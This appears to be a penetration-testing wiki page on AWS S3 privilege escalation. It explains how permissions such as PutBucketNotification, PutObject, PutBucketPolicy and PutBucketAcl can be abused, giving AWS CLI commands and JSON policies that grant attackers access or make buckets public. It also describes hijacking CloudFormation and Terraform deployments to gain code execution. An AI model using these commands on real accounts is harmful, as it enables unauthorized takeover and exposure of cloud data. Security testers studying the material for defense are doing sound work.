AWS - S3 Privesc

Reading time: 6 minutes

S3

s3:PutBucketNotification, s3:PutObject, s3:GetObject

An attacker with those permissions over interesting buckets might be able to hijack resources and escalate privileges.

For example, an attacker with those permissions over a cloudformation bucket called "cf-templates-nohnwfax6a6i-us-east-1" will be able to hijack the deployment. The access can be given with the following policy:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": [
        "s3:PutBucketNotification",
        "s3:GetBucketNotification",
        "s3:PutObject",
        "s3:GetObject"
      ],
      "Resource": [
        "arn:aws:s3:::cf-templates-*/*",
        "arn:aws:s3:::cf-templates-*"
      ]
    },
    {
      "Effect": "Allow",
      "Action": "s3:ListAllMyBuckets",
      "Resource": "*"
    }
  ]
}

And the hijack is possible because there is a small time window from the moment the template is uploaded to the bucket to the moment the template is deployed. An attacker might just create a lambda function in his account that will trigger when a bucket notification is sent, and hijacks the content of that bucket.

The Pacu module cfn__resouce_injection can be used to automate this attack.
For mor informatino check the original research: https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/

s3:PutObject, s3:GetObject

These are the permissions to get and upload objects to S3. Several services inside AWS (and outside of it) use S3 storage to store config files.
An attacker with read access to them might find sensitive information on them.
An attacker with write access to them could modify the data to abuse some service and try to escalate privileges.
These are some examples:

• If an EC2 instance is storing the user data in a S3 bucket, an attacker could modify it to execute arbitrary code inside the EC2 instance.

s3:PutObject, s3:GetObject (optional) over terraform state file

It is very common that the terraform state files are being saved to blob storage of cloud providers, e.g. AWS S3. The file suffix for a state file is .tfstate, and the bucket names often also give away that they contain terraform state files. Usually, every AWS account has one such bucket to store the state files that show the state of the account. Also usually, in real world accounts almost always all developers have s3:* and sometimes even business users have s3:Put*.

So, if you have the permissions listed over these files, there is an attack vector that allows you to gain RCE in the pipeline with the privileges of terraform - most of the time AdministratorAccess, making you the admin of the cloud account. Also, you can use that vector to do a denial of service attack by making terraform delete legitimate resources.

Follow the description in the Abusing Terraform State Files section of the Terraform Security page for directly usable exploit code:

Abusing Terraform State Files

s3:PutBucketPolicy

An attacker, that needs to be from the same account, if not the error The specified method is not allowed will trigger, with this permission will be able to grant himself more permissions over the bucket(s) allowing him to read, write, modify, delete and expose buckets.

# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>

## JSON giving permissions to a user and mantaining some previous root access
{
    "Id": "Policy1568185116930",
    "Version":"2012-10-17",
    "Statement":[
        {
            "Effect":"Allow",
            "Principal":{
                "AWS":"arn:aws:iam::123123123123:root"
            },
            "Action":"s3:ListBucket",
            "Resource":"arn:aws:s3:::somebucketname"
        },
        {
            "Effect":"Allow",
            "Principal":{
                "AWS":"arn:aws:iam::123123123123:user/username"
            },
            "Action":"s3:*",
            "Resource":"arn:aws:s3:::somebucketname/*"
        }
    ]
}

## JSON Public policy example
### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
{
  "Id": "Policy1568185116930",
  "Version": "2012-10-17",
  "Statement": [
  {
      "Sid": "Stmt1568184932403",
      "Action": [
        "s3:ListBucket"
      ],
      "Effect": "Allow",
      "Resource": "arn:aws:s3:::welcome",
      "Principal": "*"
  },
  {
    "Sid": "Stmt1568185007451",
    "Action": [
      "s3:GetObject"
    ],
    "Effect": "Allow",
    "Resource": "arn:aws:s3:::welcome/*",
    "Principal": "*"
  }
  ]
}

s3:GetBucketAcl, s3:PutBucketAcl

An attacker could abuse these permissions to grant him more access over specific buckets.
Note that the attacker doesn't need to be from the same account. Moreover the write access

# Update bucket ACL
aws s3api get-bucket-acl --bucket <bucket-name>
aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://acl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
  "Owner": {
    "DisplayName": "<DisplayName>",
    "ID": "<ID>"
  },
  "Grants": [
  {
    "Grantee": {
      "Type": "Group",
      "URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
    },
  "Permission": "FULL_CONTROL"
  }
  ]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectAcl

An attacker could abuse these permissions to grant him more access over specific objects inside buckets.

# Update bucket object ACL
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-policy file://objacl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
  "Owner": {
    "DisplayName": "<DisplayName>",
    "ID": "<ID>"
  },
  "Grants": [
  {
    "Grantee": {
      "Type": "Group",
      "URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
    },
  "Permission": "FULL_CONTROL"
  }
  ]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectVersionAcl

An attacker with these privileges is expected to be able to put an Acl to an specific object version

aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json